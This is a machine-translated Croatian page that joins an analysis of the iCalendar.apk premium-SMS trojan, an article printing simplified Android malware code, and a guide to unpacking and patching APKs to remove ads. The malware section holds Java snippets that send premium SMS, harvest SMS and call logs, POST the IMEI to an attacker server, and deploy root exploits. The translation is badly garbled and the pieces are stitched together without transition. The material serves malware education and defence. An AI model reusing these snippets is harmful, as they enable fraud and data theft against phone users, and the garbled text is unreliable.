Opis zlonamjernog softvera za Android. Zapisivanje korisničkih informacija u tekstualnu datoteku

18.05.2020 Vijesti

Opis zlonamjernog softvera softver za Android

Aleksandar Antipov

McAfeejevo izvješće o stanju potencijalnih prijetnji u prvom kvartalu ove godine pokazalo je da je identificirano 6 milijuna jedinstvenih uzoraka zlonamjernog softvera.


McAfeejevo izvješće o stanju potencijalnih prijetnji u prvom kvartalu ove godine pokazalo je da je identificirano 6 milijuna jedinstvenih uzoraka zlonamjernog softvera. U tom smislu, prvo tromjesečje 2011. pokazalo se najproduktivnijim po broju identificiranih malware u usporedbi s istim razdobljima svih prethodnih godina. McAfeejevo izvješće navodi da Android uređaji sve više postaju prijenosnici zlonamjernog softvera. Prema riječima stručnjaka, Android je u prvom tromjesečju ove godine postao druga najpopularnija mobilna meta za upad među kibernetičkim kriminalcima, nakon Symbiana.

U ovom članku ćemo vas provesti kroz različite faze analize softvera, omogućujući vam da shvatite koje su točno ranjivosti. Android platforme i kako ih napadači koriste. Najprije ćemo započeti raspravom o povijesti razvoja Androida, a zatim ćemo prijeći na osnove rada konfiguracijskih paketa platforme. Istodobno ćemo detaljno analizirati sav zlonamjerni softver s kojim se susrećemo, a koji cilja specifično na Android.

Uvod u Android platformu

Android je operativni sustav za Mobiteli, komunikatori, tablet računala i drugi uređaji temeljeni na bazi Linux kerneli. Prijave za Android programeri Napisani su uglavnom na jeziku Java, omogućujući kontrolu uređaja pomoću Java biblioteke koju je razvio Google. Android Java kompajler kompilira skup datoteka programera u datoteke klase, a zatim se datoteke klase pretvaraju u datoteke dex. Ove datoteke imaju bajt kod koji se posebno koristi za prepoznavanje virtualni stroj Dalvik je okruženje za izvršavanje Java bajtkoda (JVM) koje se izvodi posebna primjena za Android. XML datoteke pretvaraju se u binarni format koji je optimiziran za stvaranje malih datoteka. .dex datoteke, binarne XML datoteke i ostali resursi potrebni za pokretanje aplikacija upakirani su u datoteku paketa za Android. Ove datoteke imaju nastavak .apk, ali su standardne ZIP datoteke. Nakon što se apk paket generira, razvojni programer ga digitalno potpisuje i prenosi se na Android Market putem Google web stranice odakle korisnik može preuzeti te apk datoteke i instalirati ih na svoj Android uređaj. Trenutačno postoji više od 2 milijuna aplikacija dostupnih za preuzimanje u središnjoj trgovini aplikacija za Android, a povrh toga, ne zaboravite da Google Android Aplikacije se također mogu preuzeti s drugih stranica trećih strana.

Zahtjevi

  • Alat za dekompresiju datoteka apk format- Winzip
  • Alat za pretvaranje .dex datoteka u .jar datoteke:.. Dex2jar
  • Grafički Java program za dekompilaciju: JD-GUI
  • Uzorci zlonamjernog softvera za Android za analizu

Detaljni koraci

Korak I:
Da biste započeli proceduru analize zlonamjernog softvera, najprije morate preuzeti maliciozni uzorak koji cilja na Android platformu. U ovom slučaju, preuzimat ćemo iCalendar.apk, koji je bio jedan od 11 sumnjivih aplikacija uklonjenih s Android Marketa jer je otkriveno da sadrži zlonamjerni softver u Gadget Media. Testiranje zahtjeva na VirusTotal pokazalo je stopu otkrivanja od 46,5%, kao što je prikazano na slici ispod.


Riža. 1

Korak II:

Ekstrahirajte iCalendar.apk datoteku koristeći Winzip, nakon čega možete vidjeti sadržaj .apk datoteke

Riža. 2. .dex i. XML datoteke o kojima se raspravljalo ranije u ovom članku prikazane su na sl. 2.

Korak III:

Sljedeći korak je izvršavanje koda pomoću alata "dex2jar". Dex2jar toolkit pretvara Dalvik izvršne .dex datoteke u Java .class datoteke. "Classes.dex" - datoteka iz naše aplikacije ide u direktorij "dex2jar" i pretvara se pomoću sljedeće naredbe: dex2jar.bat classes.dex.

Riža. 3 Stvorite datoteke "classes.dex.dex2jar.jar" u jednom direktoriju.

Riža. 4

Korak IV:

Koristili smo JD-GUI za pregled .class datoteka. Otvorite datoteku "Classes.dex.dex2jar.jar" koristeći JD-GUI.

Riža. 5: Prikazano u potpunosti izvor aplikacije za Android.

Korak V:
Nakon što dobijete izvorni kod aplikacije, možete analizirati stvarni izvor i provjeriti ima li problema. Primjećeno je da datoteka s nazivom klase "SmsReceiver.class" izgleda malo čudno, jer je ovo aplikacijski kalendar, a SmsReceiver u ovom slučaju nije potreban. Daljnjom provjerom izvornog koda "SmsReceiver.class" ustanovljeno je da sadrži tri broja 1066185829, 1066133 i 106601412004 koji su izgledali dosta sumnjivo. Konkretno, situacija je slična pokušaju blokiranja poruka poslanih s navedenih brojeva na Android uređaj, Kada ovu aplikaciju je instaliran i pokrenut.

Riža. 6

Nakon traženja ovih brojeva putem Googlea, ustanovljeno je da se radi o brojevima SMS servisa u vlasništvu China Mobilea (slika 7).

Riža. 7

Pokušali smo analizirati zašto aplikacija u kasnijim akcijama pokušava blokirati izvješća o isporuci s gore navedenih brojeva.

Korak VI:
Nakon završetka analize datoteke "SmsReceiver.class", prelazimo na analizu koda sljedeće .class datoteke, tj. "iCalendar.class". Prvi izgleda najsumnjivije. Konkretno, primijetili smo da funkcija showImg() sadrži određenu funkciju sendSms().

Riža. 8

Stoga smo pokrenuli provjeru datoteke "sendSms()" kako bismo vidjeli osobitosti u izvršavanju naredbi. Kao što je prikazano na slici ispod, možemo vidjeti da kada je funkcija sendSms() aktivirana, SMS s tekstom 921X1 automatski se šalje na 1066185829.

Riža. 9

Korak VII:
Na kraju funkcije sendSms(), primijetili smo prisutnost naredbe za spremanje funkcije. Stoga smo potražili funkciju save() unutar koda i pronašli njen izravni odnos s funkcijom sendSms().

Riža. 10

Nakon pravilne analize i otkrivanja različitih aspekata funkcije save(), ustanovljeno je da se niz "Y" prosljeđuje kad god se funkcija save() izvršava. Osim toga, zaključeno je da se funkcija sendSms() može pozvati samo jednom, ali ne više, budući da je za funkciju sendSms() postavljena petlja “if”.

Korak VIII:
Kombiniranjem rezultata svih provedenih analiza možete dobiti jasnu sliku potpunog funkcioniranja raznih vrsta zlonamjernog softvera.

Aplikacija šalje SMS na premium broj 1066185829 s tekstom 921X1. Istodobno, svi dolazni izvještaji o isporuci poruka na ovaj broj su blokirani, i kao rezultat toga, žrtva neće primiti nikakav signal o postojanju takvog SMS-a koji aplikacija šalje na pozadina. Osim toga, SMS se šalje samo jednom, a žrtva zapravo nema načina da posumnja što je zapravo uzrokovalo skidanje sredstava s računa.

Riža. 11: Potpuni zaključci o zlonamjernom softveru ciklusa iCalendar.apk

Zaključak:

Zlonamjerni program s root pristupom telefonu ne samo da ima mogućnost čitanja podataka pohranjenih na njemu, već ih je također sposoban prenijeti na apsolutno bilo koje mjesto. Ova informacija može uključivati kontakt informacije, dokumente pa čak i lozinke računa. U prisutnosti root pristup moguće je ugraditi i druge komponente koje nisu dostupne za razgledavanje korisničko sučelje telefona, tako da se ne mogu lako ukloniti. Glavni načini zaštite aplikacija od zlonamjernog softvera za platformu Android navedeni su u nastavku:
  • Preuzmite aplikaciju samo iz pouzdanih izvora;
  • Provjera relevantnih ocjena i recenzija prije preuzimanja aplikacije;
  • Pažljivo procjenjujući dopuštenja specifične aplikacije;
  • Instalacija OS-a Android ažuriranja, kako su spremni;
  • Instaliranje programa za zaštitu mobilnih aplikacija.

Dokument pruža primjer štete koju zlonamjerni softver uzrokuje korisnicima koji ništa ne sumnjaju. Ako osoba nije svjesna njegovog postojanja, takvi programi postaju sposobni izvoditi gotovo sve neovlaštene radnje u pozadini. Rad zlonamjernih programa može dovesti do financijskih gubitaka za korisnika terećenjem sredstava s njihovih salda, kao i krađom lozinki. Osim toga, mogu oštetiti i sam telefon. Kao što vidite, vrlo je važno na vrijeme poduzeti odgovarajuće mjere opreza kako biste spriječili da ove vrste aplikacija uđu u vaš telefon. Bolje je biti siguran jednom nego požaliti deset puta kasnije.

Zbirka zlonamjernih Android aplikacija nekih antivirusnih laboratorija već sadrži više od 10 milijuna uzoraka. Ova brojka uzbuđuje maštu, ali otprilike 9 milijuna 995 tisuća njih preimenovano je u kopije originalnih virusa. Ali ako analizirate izvorni kod preostalih nekoliko tisuća uzoraka malwarea, primijetit ćete da su svi kombinirani iz malog broja jedinstvenih funkcionalnih blokova (nekoliko modificiranih i kombiniranih na različite načine).

Stvar je u tome što proizvođači virusa najčešće rade vrlo trivijalne zadatke:

  • poslati SMS na plaćeni broj;
  • uzeti u posjed povjerljive informacije korisnik ( telefonski brojevi, tekstovi poruka, podaci sa SD kartice i tako dalje);
  • prikupiti podatke o zaraženom uređaju;
  • preuzeti administratorska prava na uređaju (instalirati aplikacije bez dopuštenja vlasnika ili zlonamjerno onemogućiti uređaj);
  • pratiti prijave, lozinke i podatke o platnim karticama koje korisnik unosi na web stranicama sustava internetskog bankarstva. Kako to oni rade? Pokušajmo prodrijeti u mračni svijet mobilne virtualizacije i vidjeti što se tamo događa.

Slanje SMS-a

Tko koristi:

  • AdSms;
  • FakePlayer;
  • Nilski konjSms.

Najčešća vrsta virusa su SMS trojanci. Ti virusi jednostavno šalju poruke plaćeni brojevi bez pristanka korisnika. Napravite takav program ili prepišite gotov za njega željeni broj sasvim lako. A proces dobivanja beneficija iznimno je pojednostavljen - za razliku od, primjerice, praćenja bankovnih podataka.

Sljedeće je najjednostavniji primjer kodirati. Ovo je osnovna funkcija slanja SMS-a. Može se zakomplicirati provjerom statusa slanja, odabirom brojeva ovisno o lokaciji pretplatnika i zatim brisanjem SMS-a.

Privatni statički SendSms (String DestNumber, String SmsText) ( // Pokušaj pokretanja metode sendTextMessage objekta SmsManager ( standardni program za slanje SMS-a s trenutnog uređaja) sa minimalna količina parametri: broj primatelja i tekst poruke try( SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; ) )

Gdje tražiti kod virusa

U velikoj većini slučajeva telefon se zarazi instalacijom aplikacija. Svaka Android aplikacija postoji kao datoteka s ekstenzijom apk, što je u biti arhiva. Njegov sadržaj možete pogledati na koristeći Android SDK, pretvarač datoteka iz APK u JAR i program za dekompilaciju Java bajt koda. Izrada aplikacije (APK) sastoji se od sljedećih dijelova:

  • resursi.arsc - tablica resursa;
  • res (mapa) - stvarni resursi (ikone, itd.);
  • META-INF (mapa) - sadrži datoteke sljedećeg sadržaja: kontrolni zbrojevi resursi, certifikat aplikacije i opis sklopa APK-a;
  • AndroidManifest.xml - sve vrste servisnih informacija. Uključujući dozvole koje aplikacija traži prije instalacije radi ispravnog rada;
  • classes.dex - vjerojatno ste čuli da se u Android operativnim sustavima sav kod izvršava pomoću Dalvik virtualnog stroja (počevši od verzije 4.4, pojavljuje se ART podrška), koji ne razumije regularni Java bajt kod. Zato postoje datoteke s ekstenzijom dex. On, uz potrebne i korisne klase (koje su odgovorne za funkcionalnost aplikacije), sadrži i zlonamjerne (virusni kod, koji analiziramo u ovom članku).

Snimanje korisničkih podataka u tekstualna datoteka

Tko koristi:

  • NickySpy;
  • SmsSpy.

Postoji kategorija virusa koji napadaju osobne podatke korisnika. Mehanizam njihovog djelovanja također je jednostavan. Oni ili učitavaju korisničke datoteke na poslužitelj svog kreatora ili unaprijed prikupe neke podatke u txt (CSV, XML - nije važno). Napadačima mogu biti zanimljivi kontakti bilo koje vrste, poruke iz različitih instant messengera, medijske datoteke itd.

SMS poruke od zaraženih korisnika posebno su vrijedne za telefonske brojeve pošiljatelja i primatelja - mogu se koristiti za dopunu baze podataka za spam poruke. Rjeđe se virusi ove vrste koriste za zarazu uređaja određenih pojedinaca - sljedeći put kada vas vaša djevojka pozove da testirate Android aplikaciju koju je ona napisala (ah, karamba! - Urednik), nemojte iznevjeriti oprez :) .

// Broji broj SMS-ova na uređaju arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Prolazi kroz svaki SMS i=1 while (true) ( ​​​​if(i>=j) break; // Kreiraj objekt SMS poruke SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Smjestite u string varijable broj pošiljatelja, tekst i vrijeme slanja SMS-a String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Formirajte niz od primljenih podataka i zapišite ga u tekstualnu datoteku pomoću prilagođene WriteRec metode String MessageInfo= 7MessageNumber+ "#"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Prelazak na sljedeću poruku i+=1; ) Također je zgodno dopuniti listu neželjene pošte s pretplatnikove povijest poziva. Ovaj kod se može pokrenuti kada postoji dolazni poziv: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Stavite broj pretplatnika u varijablu String phonenumber=paramIntent.getStringExtra( "android.intent. extra.PHONE_NUMBER"); // Formirajte niz od broja i datuma poziva String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Pozovite metodu WriteRec() (njezin kod nije dano ovdje), koji dodaje redak tekstualnoj datoteci s poviješću poziva WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

Nakon što se podaci zabilježe, prosljeđuju se u “prave ruke”. Donji kod učitava povijest poziva na poslužitelj:

Private void uploadPhonecallHistory() baca IDException ( while(true) ( ​​​​return; // Provjerite postoji li datoteka koju trebamo if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Stvorite objekt - učitavač datoteka UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Pokrenite method.advanceduploadfile (ovdje nije naveden njegov kod) za učitavanje datoteke na poslužitelj "proizvođača virusa" localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Prikupljanje informacija

Tko koristi:

  • DroidKungFu;
  • DroidDream;
  • veliku većinu zlonamjernog softvera svih sličnih vrsta.

U principu, svaki proizvođač virusa bi imao koristi od informacija o uređajima zaraženim njegovim programima. Vrlo ga je lako nabaviti. Stvara se niz s podacima o svojstvima telefona (njihovim puni popis može se pronaći u priručniku za razvojne programere Androida) i šalje se kao POST zahtjev PHP skripti (jezik nije bitan) na poslužitelju napadača, koja obrađuje podatke i stavlja ih u bazu podataka za kasniju upotrebu.

Private void reportState(int paramInt, string paramString) ( // Stvorite polje i u njega stavite servisne informacije ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add ( new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Ako funkcija ima definirani parametar "paramString(komentar)", stavite ga u niz i njegov if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Kreirajte HTTP POST zahtjev s adresom skripte koja prikuplja podatke HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Dodajte naš niz podataka u zahtjev i izvršite ga pomoću standardnog HTTP klijenta localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); novi DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); povratak; ) )

Navijati

Tko koristi:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Jedna od najgorih stvari koja se može dogoditi Android uređaju je da ga virus roota. Uostalom, nakon ovoga, zlonamjerni program može učiniti bilo što s njim: instalirati druge viruse, promijeniti postavke hardver. Ova se radnja izvodi uzastopnim pokretanjem exploita:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" je kopija poznatog root exploita Rage Against The Cage. Kiall - zaustavlja sve procese koje pokreće trenutna aplikacija. Gjsvro - exploit za stjecanje udev prava ( koristi se u Linux sustavima za napredni rad s hardverom i mrežnim sučeljima) Kopirajte sve ovo na pravo mjesto */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/ gjsvro "); //I pokrenite pomoću naredbenog retka Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system / bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + " / gjsvro"); novi MyTread.start(); )

Web stranice o mobilnom zlonamjernom softveru

Blog stručnjaka Kasperskiy Laba Ovaj resurs sadrži visokokvalitetne i detaljne članke o mnogim aspektima računalne sigurnosti, uključujući Android viruse. Vrijedno je redovito posjećivati ​​ovu stranicu kako biste bili u tijeku s najnovijim razvojem događaja.

Grupa je posvećena alatu otvorenog koda za sve vrste manipulacija kodom Android aplikacije (dekompilacija i modifikacija DEX/ODEX/APK datoteka i tako dalje). Androguard također sadrži opsežnu bazu podataka članaka o virusima. osim kratke recenzije funkcionalnosti i načina zaštite, detaljne su analize malware koda.


Odjeljak Mobile Threats na www.fortiguard.com Enciklopedija telefonskih virusa. Svaki članak je pregled funkcionalnosti, začinjen značajnom količinom tehničkih detalja. Osim informacija o prijetnjama operacijskoj dvorani Android sustavi, tu su i članci o virusima za Symbian OS, iOS i druge platforme.


Zaštita od virusa

Neki korisnici vjeruju da ako aplikacije preuzimate isključivo s Google Play i instalirajte antivirusni program na svoj pametni telefon, to apsolutno jamči sigurnost. Nemojte se zavaravati: na internetu se redovito pojavljuju izvješća o zlonamjernom softveru koji se nalazi na službenom tržištu. A broj novopojavljenih malicioznih programa mjesečno se mjeri u stotinama tisuća, što im otežava pravovremeni dolazak u baze podataka antivirusni programi. Pravo jamstvo sigurnosti može proizaći iz ručnog pregleda koda APK datoteke prije instaliranja na vaš telefon. Ne morate biti guru kodiranja da biste uočili zlonamjerne isječke. A naš članak će vam pomoći u tome.

Zaključak

Kao što možemo vidjeti iz primjera, izrada mobilnih virusa ne razlikuje se po tehnološkoj složenosti. Naravno, ovi primjeri su pojednostavljeni kako bi odgovarali formatu dnevnika - prije svega, izostavljeni su rukovatelji pogreškama i iznimkama, kao i određeni tehnički detalji, čiji vas nedostatak neće spriječiti da razumijete principe zlonamjernog softvera za Android, ali će štiti vas od nepotrebnih eksperimenata. Ne podržavamo stvaranje virusa, zar ne? 🙂

Ponekad neke aplikacije na Androidu na neki način ne odgovaraju korisniku. Primjer je nametljivo oglašavanje. A također se događa da je program dobar za sve, ali prijevod u njemu je kriv ili potpuno odsutan. Ili, na primjer, program je probni, ali dobiti Puna verzija nema mogućnosti. Kako promijeniti situaciju?

Uvod

U ovom članku ćemo govoriti o tome kako rastaviti APK paket s aplikacijom, pogledat ćemo to unutarnja struktura, rastaviti i dekompilirati bytecode, a također pokušati napraviti nekoliko promjena u aplikacijama koje nam mogu donijeti jednu ili drugu korist.

Da biste sve ovo napravili sami, trebat će vam barem osnovno poznavanje Java jezika na kojem su napisane Android aplikacije, te XML jezik, koji se u Androidu koristi posvuda – od opisa same aplikacije i njezinih prava pristupa do pohranjivanja stringova koji će biti prikazani na ekranu. Također ćete trebati sposobnost korištenja specijaliziranog softvera konzole.

Dakle, što je APK paket u kojem se distribuira apsolutno sav Android softver?

Dekompilacija aplikacije

U ovom smo članku radili samo s rastavljenim kodom aplikacije, ali ako se uvedu ozbiljnije promjene u velike aplikacije, razumijevanje smali koda bit će mnogo teže. Srećom, možemo dekompilirati dex kod u Java kod, koji je, iako nije originalan i nije ponovno kompajliran, mnogo lakši za čitanje i razumijevanje logike aplikacije. Da bismo to učinili, trebat će nam dva alata:

  • dex2jar je prevoditelj Dalvik bytecode-a u JVM bytecode, na temelju kojeg možemo dobiti kod u jeziku Java;
  • jd-gui je sam dekompilator koji vam omogućuje da dobijete čitljiv Java kod iz JVM bajtkoda. Kao alternativu, možete koristiti Jad (www.varaneckas.com/jad); Iako je prilično star, u nekim slučajevima generira čitljiviji kod od Jd-guija.

Ovako ih treba koristiti. Prvo pokrećemo dex2jar, navodeći put do apk paketa kao argument:

% dex2jar.sh mail.apk

Kao rezultat toga, Java paket mail.jar će se pojaviti u trenutnom direktoriju, koji se već može otvoriti u jd-gui za pregled Java koda.

Dogovaranje APK paketa i preuzimanje istih

Plastična vrećica Android aplikacije, zapravo je obična ZIP datoteka, nisu potrebni posebni alati za pregled sadržaja i njegovo izdvajanje. Dovoljno je imati arhiver - 7zip za Windows ili konzolni unzip na Linuxu. Ali to se tiče omota. Što je unutra? Općenito, unutra imamo sljedeću strukturu:

  • META-INF/- sadrži digitalni certifikat aplikacija, identificiranje njezinog kreatora i kontrolni zbrojevi datoteka paketa;
  • res/ - različiti resursi koje aplikacija koristi u svom radu, kao što su slike, deklarativni opis sučelja, kao i drugi podaci;
  • AndroidManifest.xml- opis aplikacije. To uključuje, na primjer, popis potrebnih dozvola, potrebnih Android verzija i potrebna razlučivost zaslona;
  • razredi.dex- kompajlirani bajt kod aplikacije za Dalvik virtualni stroj;
  • resursi.arsc- također resursi, ali drugačije vrste - posebno, nizovi (da, ova se datoteka može koristiti za rusificiranje!).

Navedene datoteke i direktoriji nalaze se, ako ne u svim, onda, možda, u velikoj većini APK-ova. Međutim, postoji još nekoliko ne tako uobičajenih datoteka/direktorija koje vrijedi spomenuti:

  • imovina- analog resursa. Glavna je razlika u tome što za pristup resursu morate znati njegov identifikator, ali popis imovine može se dobiti dinamički pomoću metode AssetManager.list() u kodu aplikacije;
  • lib- izvorne Linux biblioteke napisane pomoću NDK (Native Development Kit).

Ovaj direktorij koriste proizvođači igara, postavljajući u njega motor igre napisan u C/C++, kao i kreatori aplikacija visokih performansi (na primjer, Google Chrome). Shvatili smo uređaj. Ali kako doći do datoteke paketa aplikacije koja vas zanima? Budući da nije moguće preuzeti APK datoteke s uređaja bez root-a (nalaze se u direktoriju /data/app), a rootanje nije uvijek preporučljivo, postoje najmanje tri načina za preuzimanje datoteke aplikacije na vaše računalo:

  • APK Downloader proširenje za Chrome;
  • Aplikacija Real APK Leecher;
  • razni hosting datoteka i Vareznici.

Koju koristiti je stvar ukusa; radije koristimo pojedinačne prijave, stoga ćemo opisati korištenje Real APK Leechera, pogotovo jer je napisan u Javi i, sukladno tome, radit će u Windowsima ili Nixu.

Nakon pokretanja programa potrebno je ispuniti tri polja: Email, Password i Device ID - te odabrati jezik. Prva dva su e-mail i lozinka vašeg Google računa koji koristite na uređaju. Treći je identifikator uređaja, a može se dobiti upisivanjem koda na brojčanik # #8255## a zatim pronalaženje retka ID uređaja. Prilikom ispunjavanja potrebno je unijeti samo ID bez prefiksa android-.

Nakon popunjavanja i spremanja često se pojavljuje poruka "Greška pri povezivanju s poslužiteljem". To nema nikakve veze s Google Playom, stoga ga slobodno zanemarite i potražite pakete koji vas zanimaju.

Pregledajte i izmijenite

Recimo da ste pronašli paket koji vas zanima, preuzeli ga, raspakirali... i kada ste pokušali pogledati neku XML datoteku, iznenadili ste se kada ste otkrili da datoteka nije tekstualna. Kako ga dekompilirati i kako općenito raditi s paketima? Je li stvarno potrebno instalirati SDK? Ne, uopće nije potrebno instalirati SDK. Zapravo, svi koraci za izdvajanje, modificiranje i pakiranje APK paketa zahtijevaju sljedeće alate:

  • ZIP arhiver za raspakiranje i pakiranje;
  • mali- Asembler/rastavljač bajt koda Dalvik virtualnog stroja (code.google.com/p/smali);
  • aapt- alat za pakiranje resursa (prema zadanim postavkama resursi se pohranjuju u binarnom obliku radi optimizacije performansi aplikacije). Uključeno u Android SDK, ali se može nabaviti odvojeno;
  • potpisnik- alat za digitalno potpisivanje modificiranog paketa (bit.ly/Rmrv4M).

Sve ove alate možete koristiti odvojeno, ali to je nezgodno, pa je bolje koristiti softver više razine izgrađen na njihovoj osnovi. Ako radite na Linuxu ili Mac OS X, postoji alat koji se zove apktool. Omogućuje vam da raspakirate resurse u njihovom izvornom obliku (uključujući binarne XML i arsc datoteke), ponovno izgradite paket s promijenjenim resursima, ali ne zna kako potpisati pakete, tako da ćete morati ručno pokrenuti uslužni program za potpis. Unatoč činjenici da je uslužni program napisan u Javi, njegova instalacija prilično je nestandardna. Prvo morate nabaviti samu jar datoteku:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ izvoz PATH=~/bin:$PATH

Ako radite na Windowsima, onda za to postoji izvrstan alat pod nazivom Virtuous Ten Studio, koji također akumulira sve te alate (uključujući i sam apktool), ali umjesto CLI sučelja korisniku pruža intuitivno grafičko sučelje pomoću kojeg možete obavljati operacije za raspakiranje, rastavljanje i dekompiliranje u nekoliko klikova. Ovaj alat je Donation-ware, to jest, ponekad se pojavljuju prozori koji traže da dobijete licencu, ali na kraju se to može tolerirati. Nema smisla opisivati ​​ga jer sučelje možete razumjeti za nekoliko minuta. Ali apktool, zbog svoje konzolne prirode, treba raspraviti detaljnije.


Pogledajmo opcije apktoola. Ukratko, postoje tri osnovne naredbe: d (decode), b (build) i if (install framework). Ako je s prve dvije naredbe sve jasno, što onda radi treća, uvjetna naredba? Raspakira navedeni okvir korisničkog sučelja, što je neophodno u slučajevima kada secirate bilo koji paket sustava.

Pogledajmo najzanimljivije opcije prve naredbe:

  • -s- nemojte rastavljati dex datoteke;
  • -r- nemojte raspakirati resurse;
  • -b- nemojte umetati informacije o ispravljanju pogrešaka u rezultate rastavljanja dex datoteke;
  • --staza-okvira- koristite navedeni okvir korisničkog sučelja umjesto onog ugrađenog u apktool. Sada pogledajmo nekoliko opcija za naredbu b:
  • -f- prisilna montaža bez provjere promjena;
  • -a- navedite put do aapta (alat za izgradnju APK arhive), ako ga iz nekog razloga želite koristiti iz drugog izvora.

Korištenje apktoola vrlo je jednostavno; da biste to učinili, samo navedite jednu od naredbi i put do APK-a, na primjer:

$ apktool d mail.apk

Nakon toga, sve ekstrahirane i rastavljene datoteke paketa pojavit će se u direktoriju pošte.

Priprema. Onemogućavanje oglašavanja

Teorija je, naravno, dobra, ali zašto je potrebna ako ne znamo što ćemo s neraspakiranim paketom? Pokušajmo primijeniti teoriju u našu korist, naime, modificirajmo neki softver tako da nam ne prikazuje reklame. Na primjer, neka to bude Virtual Torch - virtualna baklja. Ovaj je softver idealan za nas jer je do kraja ispunjen dosadnim reklamama i, štoviše, dovoljno je jednostavan da se ne izgubimo u džungli koda.


Dakle, pomoću jedne od gore navedenih metoda preuzmite aplikaciju s tržišta. Ako se odlučite koristiti Virtuous Ten Studio, samo otvorite APK datoteku u aplikaciji i ekstrahirajte je, za što kreirajte projekt (File -> New project), a zatim u kontekstni izbornik projekt, odaberite Uvezi datoteku. Ako je vaš izbor pao na apktool, samo pokrenite jednu naredbu:

$ apktool d com.kauf.particle.virtualtorch.apk

Nakon toga će se u direktoriju com.kauf.particle.virtualtorch pojaviti stablo datoteka slično onom opisanom u prethodnom odjeljku, ali s dodatnim direktorijem smali umjesto dex datoteka i datotekom apktool.yml. Prvi sadrži rastavljeni kod izvršne dex datoteke aplikacije, drugi sadrži servisne informacije potrebne apktoolu za ponovno sastavljanje paketa.

Prvo mjesto koje bismo trebali pogledati je, naravno, AndroidManifest.xml. I tu odmah nailazimo na sljedeći redak:

Nije teško pogoditi da je odgovoran za davanje dopuštenja aplikaciji za korištenje internetske veze. Zapravo, ako se samo želimo riješiti oglašavanja, najvjerojatnije ćemo samo trebati blokirati aplikaciju s interneta. Pokušajmo to učiniti. Brišemo navedeni redak i pokušavamo izgraditi softver koristeći apktool:

$ apktool b com.kauf.particle.virtualtorch

Rezultirajuća APK datoteka pojavit će se u direktoriju com.kauf.particle.virtualtorch/build/. Međutim, neće ga biti moguće instalirati jer nema digitalni potpis i kontrolne zbrojeve datoteka (jednostavno nema META-INF/ imenik). Paket moramo potpisati pomoću uslužnog programa apk-signer. Pokrenut. Sučelje se sastoji od dva taba - na prvom (Key Generator) kreiramo ključeve, na drugom (APK Signer) potpisujemo. Za izradu privatnog ključa ispunite sljedeća polja:

  • Ciljna datoteka- izlazna datoteka spremišta ključeva; obično pohranjuje jedan par ključeva;
  • Lozinka I Potvrdi- lozinka za pohranu;
  • Alias- naziv ključa u spremištu;
  • Alias ​​lozinka I Potvrdi- lozinka tajnog ključa;
  • Valjanost- rok valjanosti (u godinama). Zadana vrijednost je optimalna.

Ostala polja su, općenito, izborna - ali barem jedno mora biti popunjeno.


UPOZORENJE

Da biste potpisali aplikaciju pomoću apk-signera, morate instalirati Android SDK i navesti punu putanju do njega u postavkama aplikacije.

Sve informacije su date samo u informativne svrhe. Ni urednici ni autor nisu odgovorni za bilo kakvu moguću štetu prouzročenu materijalima ovog članka.

Sada možete potpisati APK ovim ključem. Na kartici Potpisnik APK-a odaberite novogeneriranu datoteku, unesite lozinku, pseudonim ključa i lozinku za nju, a zatim pronađite APK datoteka i slobodno pritisnite tipku “Potpiši”. Ako sve bude u redu, paket će biti potpisan.

INFO

Budući da smo paket potpisali vlastitim ključem, on će biti u sukobu s originalnom aplikacijom, što znači da ćemo pri pokušaju ažuriranja softvera putem marketa dobiti grešku.

Digitalni potpis potreban je samo za softver treće strane, pa ako mijenjate aplikacije sustava, koji se instaliraju kopiranjem u direktorij /system/app/, ne morate ih potpisivati.

Nakon toga preuzmite paket na svoj pametni telefon, instalirajte ga i pokrenite. Voila, oglas je nestao! Umjesto toga, međutim, pojavila se poruka da nemamo internet ili nemamo odgovarajuće dozvole. U teoriji, ovo bi moglo biti dovoljno, ali poruka izgleda neugodno, a da budemo iskreni, upravo smo imali sreće s glupom aplikacijom. Normalno napisani softver će najvjerojatnije razjasniti svoje vjerodajnice ili provjeriti internetsku vezu, au suprotnom jednostavno odbiti pokretanje. Kako biti u ovom slučaju? Naravno, uredite kod.

